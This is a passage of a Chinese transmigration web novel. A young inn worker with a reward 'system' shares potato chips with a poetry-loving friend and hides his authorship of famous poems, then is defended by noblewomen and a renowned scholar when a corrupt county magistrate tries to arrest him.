杨文炳没有多问,就这样跟着江云帆,出了秋思客栈的后大门。
后门往外,距离湖岸线不过十余步,靠近岸边的部分有木材拼接,形成宽敞的地板,再往外便是朱红色的围栏。
此处地势相对较高,视野也极为开阔,能够一眼览尽大片的镜湖山水,乃至远处三号码头之外,绕着那巨大的王府楼舫各自远去的大小船只,也都清晰可见。
两人倚着那围栏,一屁股坐在木地板上。
因为再遇彦公子,此刻杨文炳内心的喜悦仍未消散。他挪动屁股坐直身体,忍不住感叹:“这次,还真是多亏了灵嫣!”
江云帆当即一愣,准拆薯条包装的手也停在半空。
见他疑惑,杨文炳立马解释道:“是这样的彦兄,我有一位好友兼儿时玩伴,名叫许灵嫣。今日正是她告诉我,在这秋思客栈有一位叫做江云帆的小公子,他很可能知道彦兄你的下落,故而我特地来此,没想到竟阴差阳错遇到了彦兄本人!”
“彦兄,灵嫣也十分痴迷你的诗词,若不介意,有空我可带她前来,互相认识一番。”
听到这话,江云帆被气笑了。
还认识个啥?
还有什么好认识的?
他道杨文炳是如何从小路来到客栈后院,又是如何精准说出自己的名字,并让白瑶帮忙找人的。
敢情是许大小姐从中作梗啊!
许大小姐您可真是个好人嘞!
江少爷也是无语透了,这大乾王朝明明幅员万里,这时候怎会如此小,两个对自己纠缠不休的人,竟然会是发小好友?
好友就会相互交流,一旦交流了,就会对自己十分不利!
不过还好,至少就目前来看,对方还没有将“彦祖”与“江云帆”划等号。
准确来说,许灵嫣和杨文炳见到的是同一个人。
但在许灵嫣眼中,他是江家的废柴三公子,一无是处,人人唾弃。
而在杨文炳眼中,他却是那个才华惊人的彦公子。
“既是你我聊天,那便不谈他人了。”
江云帆“哗啦”一声扯开薯条的包装袋,里面弥漫已久的香气瞬间扑鼻而来。
“嘶……”
爽啊!
久违的味道。
“来把杨兄,说好来湖边整薯条的,这东西稀贵得很,你可得好好尝尝!”
江云帆是个懂礼貌的好少爷。
既然是自己请客,那自然是由客人先开动,所以他直接将薯条袋子递到了杨文炳眼前。
可谁知,杨二公子浑身一颤,嘴角狠狠抽搐了两下。
他是连看都不敢看啊!
一旦在脑子里构建出制作鼠条时的场景,杨文炳便感觉腹中一阵难受,整个人都不好了。本以为彦兄所说的“整鼠条”,实际上就是一些手工上的活计。
可谁知,竟然是吃!
这玩意儿他哪里敢吃?
“杨兄这是怎么了?”
见他这副模样,江云帆微微蹙了蹙眉,“实话实说,你大可放心,此物无毒无害,安全健康!”
无毒无害,安全健康,杨文炳都不知道江云帆是怎么说出这样的话的。
但思来想去,还是觉得,一定不能驳了彦兄面子!
想到这他狠狠鼓足勇气,目光看向江云帆手中的薯片袋子。
只见里面正装盛着大量小指粗的条装物。
也不知,是用老鼠哪个部位制作而成。
为了不让彦公子不高兴,杨文炳硬咬住牙关,迅速伸出手,自那袋中拿出一条。
紧接着屏住呼吸,紧皱着脸,将其塞入口中,狠咬一口!
“咔嚓——”
嗯?
杨文炳全身一僵,猛地将眼睛瞪大。
这……这东西的味道,好像不对。
没错,确实是不对!
这天底下,怎么会有如此味道?!
第129章 江元勤又搞幺蛾子
杨文炳爱的只是诗词文赋。
他虽生活在富贵家族,从小衣食无忧,但对吃并没有什么追求。食物就只是食物,山珍海味,粗茶淡饭,只要能够果腹,吃什么都行。
所以在他眼里,从小到大这么多年,还没有什么东西能被称之为“美味”。
除了手里这半截鼠条。
是的,杨文炳一瞬间便迷上了这味道。
在大乾,他甚至连听都从未听说过“鼠条”这种东西。而第一次品尝,便感受到了前所未有的香酥!
用牙齿嚼碎,那香味瞬间弥漫整个口腔。
这哪里是什么老鼠味?
除了香味之外,还带着几分鲜、几分辣、几分咸、几分松软,以及几分回味绕梁。
想到这杨文炳忍不住心里一惊。
光这小小一点,恐怕就用上了数十种调味的材料,而这些材料汇合在一起,便恰到好处地成就了绝无仅有的美味!
“真好啊彦兄,这鼠条,完全就是我尝过最好吃的小点心!”
【叮,震惊达成,来自杨文炳的情绪值:+95!】
听到脑海里传来的系统提示音,江云帆好一阵无语。
亏了,纯亏!
一袋乐事薯条,在商城里售价达100点情绪值。
之前他花了500,总计兑换了五袋。一开始的想法,就是用来请客,去对别人造成震惊,赚取更多的情绪值,从而达成投资获利的结果。
可现在一袋贡献掉,却连本都没回来!
江少爷不禁下定决心,剩下的薯条,还得用在奖励倍率高于杨文炳的目标身上。
此时此刻,**公子早已一改前色。
他立马把咬剩下的半截薯条丢进嘴里,美美地啃起来。
“好吃就多吃点,错过这次,下次还想吃上就难了。”
江云帆倒也大方,就将那薯条袋子敞开放在两人中间,惹得杨文炳连连伸手,全然没在意自己吃相难看。
半晌之后,他方才抬起头来,一脸迟疑道:“彦兄,此物……当真是用老鼠肉制作而成?”
“?”
听到这话,正将薯条塞到一半的江云帆眉毛都直了。
什么玩意儿?还能这样理解的吗?
不过说来也不奇怪,当今的大乾朝,时代进程类似于前世华夏古代唐朝与宋朝的结合,此时与外界交流甚少,尚未有马铃薯、番薯等块茎作物传入。
故而这里的人,压根就不知道“薯”是何物。
能理解成老鼠,似乎也不见得离谱。
“杨兄误会了,老鼠肉可不是一般人能享受得了的。这制作薯条所用的原材料,是一种名为马铃薯的农业作物。”
“原来如此……”
杨文炳边听边点头,心里对这薯条的最后一丝排斥,也随之消散了。
只是他仍旧不明白:“这马铃薯又是何物?”
“你只需知道那是在泥土中生长的东西就行,妥妥的素菜!”
“好吧。”
杨文炳不再多言,但心里的惊讶却是丝毫未减。
他很好奇,面前这位年龄甚至比自己还小许多的男子,他到底还懂得多少知识,藏着多少秘密,他的极限究竟在哪里?
杨文炳不清楚,但他知道,自大乾开创以来,天下从未有过如此奇人!
湖景烂漫,暖日怡人。
两人就着镜湖的美景,不消片刻,便将那袋薯条消灭一空。
杨文炳摸摸肚子,暗道这东西味道虽独特,但就是吃不饱,这许多下肚,也丝毫感觉不到分量。
但他自然也没厚着脸皮向江云帆索要。
“多谢彦兄款待!”
他抱拳行礼,在得到江云帆的摆手示意后,又立马聊起了正事,“彦兄,其实我今日来,依旧是想请教你一个问题。”
江云帆默默用木围栏外的野草将手指擦干净。
他也知道,该来的总会来,但凡是件麻烦事,想躲是肯定躲不掉的。
“杨兄想问什么?”
“关于昨晚灯节的歌舞会上,那首堪称旷古烁今,只在片刻便震惊全场的词曲!”
杨文炳也没打算卖关子,直接开门见山道,“但愿人长久,千里共婵娟……实不相瞒,在我看来,那首词无论从哪一个角度来讲,都完全不逊色于七月三日镜湖文会上凭空出现的‘东风夜放花千树’!”
“其在大乾文坛古今所有佳作面前,皆可谓超凡之存在!”
“彦兄……”
杨文炳深皱着眉头,看向江云帆的目光,一时充满了企盼,“上一次文会,你划舟出现在现场,却偏偏不肯承认那首词是你所写。而这一次,我亲耳听到歌舞会花船之上传来的声音,那分明就是你!”
“彦兄啊,你身拥惊世之才,若是能成为大乾文坛的一面旗,一把杆,成为天下千万学子心中的明灯,那么必将流芳百世,名垂千古!”
杨文炳现在,就盼望着彦兄能够回答一句,这一前一后两首问鼎古今的词文,都是由他所写。
唯有那样,这两首词才算真的完整。
然而,他显然还是低估了彦公子那厚脸皮的程度。
“杨兄说笑了,流芳百世哪有那么容易?”
其实江云帆心里也清楚,既然话都聊到这一步了,再装作什么都不知道也没有意义。甚至,那样说不定还会适得其反,让对方更加认定自己就是词文作者。
所以最好的办法,便是既不直接承认,也不完全否认,只聊其他。
“我这人呢,才疏学浅,且极其不稳定。偶尔脑子灵光点,但更多的时候会犯错,若让我当那什么明灯,恐怕要把整个大乾都给带阴沟里去!”
“而且杨兄你也知道,我**闲云野鹤惯了,若是受到太多人关注,反而容易乱了心境,得不偿失!”
“……”
听到这回答,杨文炳陷入了短暂的沉默。
今日他也算改变认知了。
以前他听过无数自贬的话,无论是从谁嘴里说出来,给人的感觉都是此人谦逊懂礼。
可今日彦兄他说自己“才疏学浅”!
好一个才疏学浅,短短几天之内,两首词、数句诗震天动地,你要是才疏学浅,那这大乾天下所有的才子,岂不都是半字不识的白丁?
杨文炳不知如何形容。
只觉得内心有些无奈,可以说当彦公子一口咬死不承认的时候,别人说什么也没用。
而且彦公子说得有理,若当真声名远扬,终日受到叨扰,那要如何潜心钻研?
想到这,杨文炳稍微缓和了一下心情,点头道:“罢,既然彦兄喜好清净,那我便不将今日之事说与旁人,以免惹来麻烦。”
“那就多谢杨兄了!”
江云帆抱拳一笑,心道这人耿直爽快,能处。
然而刚说完,便听杨文炳再次开口:“不过彦兄,在下还想请你帮个忙……”
“我那好友许灵嫣,至今已寻你数日,苦苦不得果,致终日迷茫无奈。不知彦兄可否赏脸,与我一同去见她一面,也好了却这桩心事。”
又是许灵嫣。
江云帆都无语了,怎么这位许大小姐,什么事都得让他来解决?
前不久才帮她了却了婚事,今日又要了却心事,难不成还得让他江少爷在古代当个活**?
江云帆自然不同意,尤其三人一旦见面,那就彻底暴露身份了!
想到这他连忙摆手,正欲开口拒绝……
恰在此时,一道娇弱小巧的身影,急匆匆从厨房后门跑来。
江云帆抬头一看,发现是妹妹江滢。
“哥,不好了!”
“怎么了?”
“是……是二哥,我刚去送茶,在大堂见到了他!”
江滢那一张小脸,此刻急得苍白,“刚才他告诉我,说给你准备了一份大礼,要等客栈里**更多人之后,帮你在所有人面前争够颜面!
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”
争够颜面?
江云帆脸色微沉。
他心里清楚得很,江元勤哪里有那么好心,实际上争够颜面是假,真正要做的是让他丢人吧?
这家伙,幺蛾子层出不穷。
只可惜,江云帆压根就不怕什么丢人,毕竟越是被贬低,越容易遭到忽视,那样正是他想要的。
他只是担心,江元勤会对客栈不利。
想到这他立马起身,对着杨文炳抱拳行礼:“杨兄,我还有点事去处理下,杨兄且在此稍待片刻,待我回来继续聊。”
“彦兄,可否需要我的帮助?”
“不必,一点小事。”
江云帆摆了摆手,随即招呼江滢,朝着客栈前堂走去。
……
此时此刻,客栈前堂内。
西侧靠窗的桌边,江元勤正与吕家四人围坐在一起。
先前江云帆提着茶壶从这离开之后,吕兰萱便让吕文睿和吕向明两兄弟落座。几人又重新叫了一壶茶,和一些甜点,坐在桌旁各自沉默。
不过时间久了,一直心神不宁的陈子钧还是开口打破了平静。
“文睿、向明。“
他先是把目光投向了客桌侧面的吕家两兄弟,一脸严肃认真,“你二人年纪尚幼,容易受人欺骗,且听姐夫一句劝……”
“方才那人,行为散漫,言辞粗鄙,一看就是个乡野凡夫,全身上下,找不出半点儒人模样,他怎会是那世外高人?你们可千万要擦亮双眼,千万不要被某些居心叵测之人,给蒙蔽了双眼啊!”
说完,又立马扭头看向吕兰萱,“兰萱,我的预感不太好,不如我们还是早些离开,再为两位弟弟另寻良师,如何?”
他是真的不敢在这里多做逗留了。
刚刚有一次,白瑶就从他身后不远的地方经过,他深怕对方一不小心提供一些不好的信号,让吕兰萱发现端倪。
所以最安全的方法,便是赶紧离开。
然而吕兰萱尚未表态,吕文睿便直接冷了冷脸色,道:“姐夫无需多言,更不要再出言贬低先生,我与向明都已决定好,此生若要拜师,便只拜先生一人!”
他永远也忘不了,今晨在湖畔红雀亭中,那仙乐绕梁的感觉。
在那一刻,先生那看着年轻的形象,便已经在他心里彻底高大无上。
“嗯,听文睿的吧。”此时吕兰萱也终于开口道,“拜师之事,乃是此行重中之重,子钧莫要再言其他了。”
听到这话,陈子钧默默咽下一口气,脸色变得极为难看。
其实他最担心的并不是白瑶,因为那女人似乎一直在刻意回避以往的事,不太可能说出来。
反观那可恶的小杂工,说他会想尽一切办法搞垮自己,都不无可能。
而现在,他们居然要在这一直等着对方到来。
这该如何是好?
“其实,有关刚才那小杂工,我知道真相。”
就在此时,坐在客桌对面一直沉默的江元勤,突然开了口。
吕家四人的目光立刻汇聚过去。
只听他开口微笑道:“二位公子,你们确实是遭到蒙蔽了。那小杂非但不是你们所说的世外高人,相反,他十二岁不识百字,对文章一窍不通,乃是所有人公认的废柴!”
“这不可能!”
吕向明抬起头,皱眉看下江元勤,“这位兄长,可千万不要胡编乱造,否则一旦真相出现,那脸可能就有些疼了!”
他自然知道江元勤年龄更大,自己应当尊敬才对。
但他绝不容许别人肆意贬低先生,那样的人,自然而然就成了他的敌人,所以说话的态度也稍微差了一些。
然而,江元勤被怼了,也依旧不恼。
他在嘴边勾起一抹自信的微笑,道:“关于那小杂工是废柴的证据,我早已准备好,请二位稍等,片刻之后,我便会当着所有人都面,将其展示出来!”
……
第130章 山水阁
江云帆在告别杨文炳之后,并没有立刻去到前堂。
其实他一早就猜到,江元勤今日特地到客栈来,肚子里装的绝不是什么好水。
但无论怎么说,事情还没发生,他总不能主动去找江元勤理论。
之所以急着离开后院,主要是还是为了减少与杨文炳待在一起的时间。不然以**公子脑子里那一重接一重的问题,怕是到天黑也解答不完。
“滢滢,你就留在后堂,端茶上菜的活我去做。”
“嗯……好。”
江滢自然知道,哥哥不让她去前堂,是为了不让江元勤为难自己。
她当然也怕哥哥被为难。
毕竟从小到大这十几年来,江元勤对他们兄妹俩一直不依不饶,而对哥哥更是极为针对。但凡让他抓住机会欺辱,绝不会手下留情。
但江滢也明白一个道理——乖乖听话,才不会惹麻烦。
来到前庭,江云帆发现临近中午时分,来客栈吃饭喝酒的客人也逐渐多了起来,
整个大堂,共计三十余张桌子,此刻空闲的寥寥无几。
白瑶正在酒厨,将所剩不多的茅台酿分壶装好,正打算往外送。
江云帆主动走上前去,伸手将托盘接过:“累着了吧瑶姐?”
白瑶温婉一笑,摇摇头。
“我记得某人当初说过,累是因为忙碌,忙碌是因为生意好,生意好意味着赚得多,赚得越多越感觉不到累,所以越累,等同于越不累。”
漂亮御姐说话时,声音里满是调侃,“也不知道他哪学这么多歪理。”
“这哪是歪理,分明是道理!”
江云帆真想给她解释一下,人在兴奋的时候会分泌多巴胺,多巴胺能缓解疲劳。
就像打工的人,之所以整日叫苦,不是因为真的辛苦,而是得不到与之相匹配的酬劳,缺少刺激兴奋的因素,感觉不到快乐罢了。
但这些东西白瑶显然是听不懂的。
江云帆索性不再聊这个话题,转而往堂中西侧的窗边瞧了一眼,“那家伙,没再找事吧?”
“没有。”
白瑶摇摇头,眼神突然变得无比复杂,其中多了些许黯淡,有夹杂几丝向往。
她忽而转过头,目光楚楚地盯着江云帆:“小帆,你说……我要是在遇上他之前,遇上了你,那该多好?”
“?”
江云帆当即一愣。
遇上我,难不成就要与我约定终身了?
可瑶姐和那陈子钧,不是通过家中长辈指婚而成的吗?
“如果早些遇上你,或许那时候的我也能像现在这样,有勇气去面对千夫所指,去对抗那些教条成规。”
好吧……
江云帆也属实没想到,白瑶居然思考了这么多,这么深。
这在封建时代的女性身上,是极为少见的。
想到这他连忙开口安慰了一句:“没关系瑶姐,你现在认识我,也不算晚。”
“真的吗?”
只见白瑶那迷茫的眼神中,瞬间多出了一些期许和感动,“小帆,你真的不嫌弃我吗?”
嫌弃?
江云帆当即心里一咯噔。
完蛋,也不知道是他曲解了,还是漂亮御姐误会了,怎么搞得就像谈婚论嫁了一样。
江少爷现在脑子有点乱,不过依旧保持着语言的得体:“当然,哪有人会嫌弃一个善待员工的老板。”
白瑶一脸茫然。
趁此机会,江云帆连忙转移话题:“对了瑶姐,这酒是送哪里的,客人不会等急了吗?”
“啊对!”
白瑶方才反应过来,手上还有酒没送呢,“在二楼山水阁,几位贵客点的。”
“我知道了。”
江云帆端着盘子转身就走。
望着他的背影,白瑶在身后忽然开口解释了一句:“其实小帆,一年以前,他在与我成亲当日便离乡赴京了,所以我如今还是……”
话到一半,她又硬生生将其止住。
那张白皙精致的脸,“刷”地一下红了。
其实白瑶也不知道,为什么非得向江云帆解释自己还是女儿身这件事,只知道有好几次,都
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忍俊不禁想要说出来。
但每每开口,又不知该如何说下去。
可能是害怕吧。
害怕这句话一旦完完整整地说出口,那其中的意味便已明显。若是江云帆并没有这样的想法,那么往后的日子该怎么继续?
她害怕江云帆会因此离开。
好在,这一次也同往常一样,江云帆似乎根本就没听到。
……
秋思客栈共分两层,一楼大堂作为餐厅,二楼则被划分为多个房间。
除了客房之外,其中还有几间雅阁,专为贵客准备。
以前这些雅阁多数时候都空着,但因近日万灯节,外地来的达官显贵众多,故而每日都客人满座。
其中的山水阁,是整个客栈最大的一个包间,一面可自上而下观看一楼大堂,另一面又恰好临湖,站在窗边可以览阅大片的镜湖风光。
包间豪华,消费自然不低。
故而此处所接待的,基本都是当日客人中最为富贵的一拨。
江云帆自木梯盘旋而上。
那山水阁恰好正对着二楼的楼梯口,中间只隔着环廊的一小段。
他端着酒水,迈步走到门前。刚好腾出一只手,正准备敲响房门。
却不料,那包间门竟毫无征兆地“吱呀”一声,从里面被大力拉开……紧接着,一道臃肿的身影快步往外冲。
我去!
江云帆见状急忙往旁边躲闪。
但人倒是躲开了,一只手端着的酒盘却被对方给狠狠撞上。
“砰!”
那酒盘应声而飞,随后狠狠砸落在地。
酒壶脱盘而出,在接触到地板时瞬间四分五裂,其中的茅台酿立刻四处泼洒,流得到处都是。
“蠢货!”
对方当即停下脚步,愤怒的目光落在江云帆脸上。
随即,扯着一道公鸭嗓大声呵斥:“冒冒失失,你到底长没长眼!”
“知道等下是谁要来这包间吗?若是得罪了那位,你这辈子都别想好过!”
“还不赶快打扫干净!”
……
第131章 他,你们动不得
江云帆认得眼前之人。
镜源县当地的青天大老爷,县令王承福。
当今大乾虽然天下太平,百姓安居乐业,但也只限于粮食自足,不用担心温饱。而有助长膘的荤腥肉类,对于普通人来说,依旧非常紧缺。
以至于走上街头,见到的人基本都比较消瘦。
故而当时只在城里远远见过王承福一次,江云帆便记住了他这体重大于身高的体态特征。
今日一见,发现对方远比自己远观看起来还要膘肥体壮。
约莫一米五出头的身高,体重应该不下二百斤,方才跑起路来整个楼板都在震颤,怪不得能一下将酒盘撞飞老远。
“小子,你还愣着干什么?”
见江云帆直盯着自己看,王承福心中怒火更甚,“我告诉你,今日是京城开阳侯府的齐小姐到此,要寻找我镜源县的一位文圣!”
“而眼下这包间,正是本官为齐小姐准备的!”
“若因你一人过失,惹得齐小姐不悦,从而坏我镜源县利益声名……哼,本大人定要抓你去监牢!”
听到这话,江云帆眉头微微一皱。
他一脸怪异地看着对方,疑惑道:“王大人是贵人多忘事啊,难道方才不是你匆忙出门撞了我,才导致这酒水酒壶洒了一地?”
“一派胡言!”
王承福胖手一招,山水阁门内立马走出两名便衣随从。
“来,告诉我,方才谁看到是我撞了他?”
一名随从抢着上前:“大人,我看见了,是他撞的您!”
“没错,就是这小子不长眼,现在还想把问题归咎到大人身上,当真是欠教训!”
好,很好,真有意思!
江云帆也算是看明白了,封建王朝的偏远地方少有明官,多仗着自己的那点权力,在一亩三分地上作威作福。
都说古代老百姓没**,导致这一点最直接的因素,便是地方官吏的压迫。
也是没想到,今日竟压迫到他这个穿越者头上来了!
穿越者怎能没点脾气?
“大人放心,我稍后便去打扫。”江云帆微微低头,满脸堆笑。
王承福一脸傲然:“算你小子识相,赶紧的别耽误时间,本官还要去迎接齐小姐。”
江云帆确实识相。
他能够很清楚地认识到,自己作为客栈的杂工一名,有很多事情都是不得不做的。
说白了,就算酒壶是客人打碎的,那他也理应打扫。
但是。
除了打扫之外的其他事情,那就得找对应该负责的人了!
“大人,在打扫之前,我有一事需要说明。打扫地板,是我分内之事,我完成了,那大人是否也该完成您的分内之事?”
“你说什么?”王承福一脸反感。
他平生最讨厌别人教他做事!
可眼前这小子,不过是一个小小的客栈杂工,先是反驳他不说,现在竟然还敢对他提出要求?
“说,何事乃是本官分内之事?”
“那自然是照价赔偿了。”
江云帆礼貌一笑,“首先,酒是大人撞倒的,账上的消费,是一分不能少。其次,这特制的酒壶可不便宜,大人稍后在结账时,还请把这份钱给补上。”
他倒不是个认死理的人,他只是特别不喜欢看坏人笑到最后。
“你大胆!”
当真是胆大包天!
王承福还从来没想过,在镜源县这一亩三分地上,居然胆敢有人向他
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开口索要赔偿!
这是不把他这个县太爷放在眼里啊!
想到这,他果断挥手下令:“去,把他给我拿下,待我接见完齐小姐后,你们直接将其扭送县衙!”
“是!”
门口的两名随从当即领命,一同朝着江云帆逼迫而来。
这两人身形稍显魁梧,应该是县衙的打手。看那娴熟的样子,平时随王承福出门,估计没少干这种恃强凌弱之事。
而眼下两人凶神恶煞,显然是打算动真格了。
不过好在,江云帆也不是没有对策。
在明知王承福蛮横不讲理的情况下,他之所以敢提出让对方赔偿,除了不爱吃亏之外,还有一点,便是笃定对方不敢再大庭广众之下胡来。
原因无他,今日秋思客栈现场的人,可都是达官显赫。
其中有不少人,都是自京城而来,且身份地位都极其尊贵的世家子弟,王承福绝不可能在这种情况下把事情闹大,那样只会损害镜源县的形象,从而影响到自己的职位。
所以,面对眼下这个情况,江云帆心中已经开始计划下一步怎么做。
然而就在这千钧一发之际。
自后方的木质楼梯上,忽然传来一道冷漠的女声:“慢着!”
王承福与两名随从当即一愣。
转头看去,只见一道身着黑衣,怀抱利剑,表情冷酷的女子,正一步一步踏上二楼。
三人顿时一懵。
这女侠,看着似乎完全不简单,难道也是从京城来的贵人?
“一群蠢货。“
女侠冷冷一笑,再度开口了,“在这小小的地盘作威作福,你们可知今日踢到了铁板,可知自己要抓的人是谁?”
……
第132章 他究竟有多少身份不凡的朋友
动不得?
王承福还是第一次听人说,在他管辖这镜源县的范围内,还有什么人是他动不得的!
当然,近日自外地而来的达官贵人、名家大儒,他确实动不得。
可眼前这小杂工,除了模样长得还行之外别无特点,那一身客栈的布衣也是磨损严重,显然已经在此打工很久。
这样的本地人,他有什么动不得的?
“敢问姑娘姓甚名谁,自何地何门而来?若不知你身份,那本官就只好当你的话是耳旁吹风,不予理睬了。”
在不清楚对方底细的情况下,王承福自然还不敢对眼前的女子大吼大叫。
不过他也不是很惧怕对方。
毕竟这次委托他到秋思客栈订雅间的人,可是开阳侯府的齐大小姐。而那小杂工把包厢门口弄得一团糟,自己出手教训,也算是在维护齐小姐。
既如此,那齐小姐必定会站在身后,为自己撑腰!
试问,最近到这镜源县来的富贵显赫,有几人的身份是能高过堂堂开阳侯的?
不过王承福也是没想到,自己嘴上说着对眼前的姑娘不予理睬,却殊不知对方从头到尾就压根没打算理睬自己。
那女子一身黑衣自带冷酷,任由他如何言语,就是丝毫不为所动。
王承福何曾受过这样的藐视?
他当即一股无名火起,红着脸拉高了嗓音:“告诉你小姑娘,这里的雅阁乃是为开阳侯府齐大小姐准备的,你若知趣,便主动离开,当做无事发生!”
“砰!”
一声闷响,回应他的,是那带鞘的长剑猛地杵在木地板上。
“我说过了,此人你们动不得!”
一时间,霸气横漏!
饶是江云帆,也觉得此刻的墨羽很威风,毕竟以前对方每每要发飙的时候,拿剑指着的人可都是自己。
难得,今日站出来,居然是为了保护他。
“好好好……”
王承福显然已经明了,对方这是压根不给自己面子。
他堂堂县老爷,还从未在镜源县遇见过敢对他如此态度的人。一时愤怒更甚,怒喝道:“听着,我乃镜源县令王承福,本地的父母官。你不肯报上家门,且执意要阻拦我抓人,那本衙便将你一同缉拿归案!”
“上!”
那肥硕的大手再度一挥,两名衙役立马冲上前来。
可就在这时,一道清亮的女声自一侧楼梯之下响起:“王大人好大的官威啊!”
王承福当即眉头一皱。
又是谁来了?
“你二人先等等。”
他开口阻止了两名衙役靠近墨羽,随即转过头,目光看向那木梯。
只听下方传来一阵“咚咚咚”的脚步声,紧接着,一名身材娇小,模样乖巧的漂亮女子,正面若寒霜地走上来。
见到来人,王承福原本因愤怒而涨得通红的脸,立马一改前色。
眼睛亮了,嘴上也带笑了,一双高傲的手立马握在一起作揖。
“齐小姐!哎哟齐小姐,小人本该远迎,奈何被琐事缠身,还望恕罪……对了,都是因为这小厮!”
王承福眼神一凝,伸手指向江云帆,“是这家伙冒冒失失,竟在门前打碎酒壶酒盏,我责令其收整,方才耽误了时间,绝不是下官耍威风啊!”
尽管面前的齐小姐并无官身,但齐家势力庞大,开阳侯也不单单空有个侯爷的爵位,其门下之人,多有在朝堂任高官者。
故而王承福认为自称一声下官,并无不妥。
倒是他现在已经恨死那杂工小子了。
本该亲自迎接齐小姐,给对方留下一个好的印象。现在好,反倒让对方以为自己不够重视,失了礼数。
想到这,王承福在心中暗暗决定,等此事过去后,无论齐小姐有没有生气,都要抓那小子去县衙!
“你,还不快过来向齐小姐道歉,再把地上收拾干净滚蛋!”
被点名了,江云帆也是提起神来。
他挪动视线看向楼梯口的女子,而后者面对王承福的一番讨好,却全程没有回应,甚至没有施舍一个眼神。
只在江云帆看过去时,同样将目光投送过来。
短暂对视之后,尚未等江云帆开口,齐之瑶便微微压下身子,行了个淑女礼:“小女子齐之瑶,见过江公子。”
“什么?”
两名衙役当即呆住,面面相觑。而王承福更是瞬间瞪圆双眼,下巴一僵,整个人怔在原地。
什么江公子?
我没有听错,没有眼花吧?
堂堂侯府大小姐,居然会朝江南小县一家小客栈里的一个打杂小厮行礼?而且看那样子,似乎把自己的姿态放得很低!
这怎么可能?
王承福一时理解不过来,心中的疑惑和惊讶更是一重接一重。
他想遍了所有可能,但都想不到,一个小小的客栈小二,能有什么样的机会,和齐小姐这样的存在扯上关系?
但这些都已经不再重要了。
重要的是,刚才他已经得罪了对方,若对方与齐小姐当真关系如此好,那便相当于得罪了齐小姐。
此刻王承福只能把希望寄托在是齐小姐认错了人上。
但事实很显然,哪有那么
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容易认错人。
“真巧啊齐小姐,这才不过一夜,又见面了。”见齐之瑶行礼,江云帆自然也懂得礼节,稍稍低头,抱拳回应。
谁知齐之瑶满脸深意:“是啊,所以我说这是命运的安排,江公子以为呢?”
又是命运的安排。
江云帆微微一笑,不置可否。
早前他推测今日的秋思客栈会很热闹,看来果然没错,现在加一个齐之瑶,也算是贵族云集了。
其实江少爷心中不免有些感慨。
京城开阳侯府的大小姐……
第一次见过了齐之瑶所乘的马车之后,他便猜测对方的身份不简单,没想到竟是侯爷的亲孙女。
如此说来,昨夜在镜湖湖畔,三位女子于月下争辉,是多么奇妙的一件事情。
三人皆是人间绝色,且都身着红衣,艳丽异常。
并且,一个是尚书之女,一个代表着侯府的大小姐,还有一个姓秦,在这大乾都属于贵族中的贵族,能凑一起绝不常见。
更让江云帆意外的,即便是尚书之女、侯府小姐,在面对秦七汐时,也丝毫占不到上风。
就在这时,齐之瑶再度开口:
“我已定好雅间,今日来这秋思客栈,就是打算请江公子吃个饭。另外,翩翩也来了,想请教公子几个问题,不知可否赏脸?”
又来了。
看来那花魁姑娘也是清闲,竟有空专程跑到客栈来寻他。
江云帆十分无语,正想以工作繁忙为由拒绝,却不料,站在前方的墨羽率先开了口:“齐小姐,我想你应该明白,江公子今日没空。”
“唉……”
齐之瑶无奈叹息一声。
她自然知道江云帆没空,因为今日来找他的,可不止自己一个人。
关键在这些人当中,有一个是她无论如何也争不过的。
“齐,齐小姐……”
此时此刻,王承福总算是缓过神来。
他自知方才闯了祸,便立马换上一张谄媚的笑脸,朝齐之瑶鞠躬。
“齐小姐,下官惶恐……先前属实不知这位江公子是您的朋友,要不然,说什么也不敢冒犯呐!”
说到这他那宽大的眉头已然皱在一起,“还请齐小姐看在我一番诚心的份上,原谅我这一次。”
话音刚落,那木梯下再度传来一道女声:
“她能原谅你,不代表别人也能!”
“?!”
这一刻,王承福彻底呆住了。
怎么还有人!
这接二连三的,究竟有多少身份不凡的女子,是这客栈小厮的朋友?
……
第133章 能揭穿你谎言的人已经到了
刚到的这位女子,声音对比方才的齐之瑶,少了几分稚气,多了几分傲然。
王承福自然能分辨出对方是谁。
几日前的凌晨,天色尚且灰暗,自京城而来的尚书千金许小姐,为寻觅一位隐世奇人,早早便光临县衙。
当时他可是亲自上场,在籍库中为其翻找查阅各种资料,时而能听见其催促的声音。
今日再闻,却没想到,对方却是站在了自己的对立面。
当然,无论对方是为何而来,他作为当地县令,都不能失了礼数。
所以在那一袭红裙的身影踏上二楼地板时,王承福立马迎了上去。
“小人王承福,恭迎许小姐!”
面对许灵嫣,他得自称一声小人。
毕竟,许父乃是当朝尚书,实权在握,其独女自然是地位高悬,他当个小人不为过。
不过让他庆幸的是,许灵嫣的态度明显比齐之瑶温和不少。
“王大人不用多礼,你乃朝廷命官,而我不过一介小女子,哪有你向我行礼的道理?”
王承福满脸冷汗地抬起头,皱眉开口道:“许小姐,刚才我与那位江公子之间,只是一点小摩擦,都是误会,还望许小姐莫要怪罪。”
“你无需向我解释,其实我也看他不顺眼。”
“哦?”
王承福微微一愣,抬眼便看见许灵嫣正用一种阴冷的目光盯着那小杂工。
看这眼神,似乎是带着恨意的。
当真是不顺眼!
见此一幕,他的内心立马舒坦了许多。
许小姐的地位可不必齐小姐低,若是能与她站在同一阵线,就算是得罪了那小杂工,也不至于对自己产生太大的影响。
然而正当王承福庆幸之际,许灵嫣的下一句话,却让他再坠深渊。
“不过王大人也不要高兴得太早。”
只见许灵嫣依旧盯着那小杂工,嘴里却淡淡一笑,“还是那句话,你乃朝廷命官,我与齐小姐都是一介女子,哪里敢怪罪?就是不知道还有一个人,她会不会怪罪了……”
“还有一个人?”
王承福再度愣神,许灵嫣则默默迈动脚步,让开木梯的入口。
当然还有一个人!
其实许灵嫣说得没错,无论是尚书千金,还是侯府小姐,都不过是朝官或贵族的家眷,无权,也不可能因为一个男人而去对付堂堂县令。
但那个人就不一定了。
她虽然也是一介女子,但更是贵族本身!只要她想,这天下没几个她对付不了的人。
就在许灵嫣让开路口之后,几道身影陆续自木梯登上二楼。
率先进入视线的,是一位身着青色长裙的女子,以及一位体态微胖的老者。
此时王承福便已然慌了神。
在江南,归雁先生沈远修的大名,谁人不知,谁人不晓?
作为名震天下的大儒,哪怕是在京城,对方也有数不清的崇拜者。甚至十年前镜源县有幸请到对方来此讲学,还是王承福亲自接待的。
没想到今日,沈先生竟突然光临这小小的临湖客栈!
“江公子,又见面了。”
就在此时,沈远修忽然朝着那小杂工一抱拳,满脸都是愉悦的笑意。
江云帆同样抱拳回应:“沈先生好。”
王承福:“……”
完……要完!
怎么会这样?
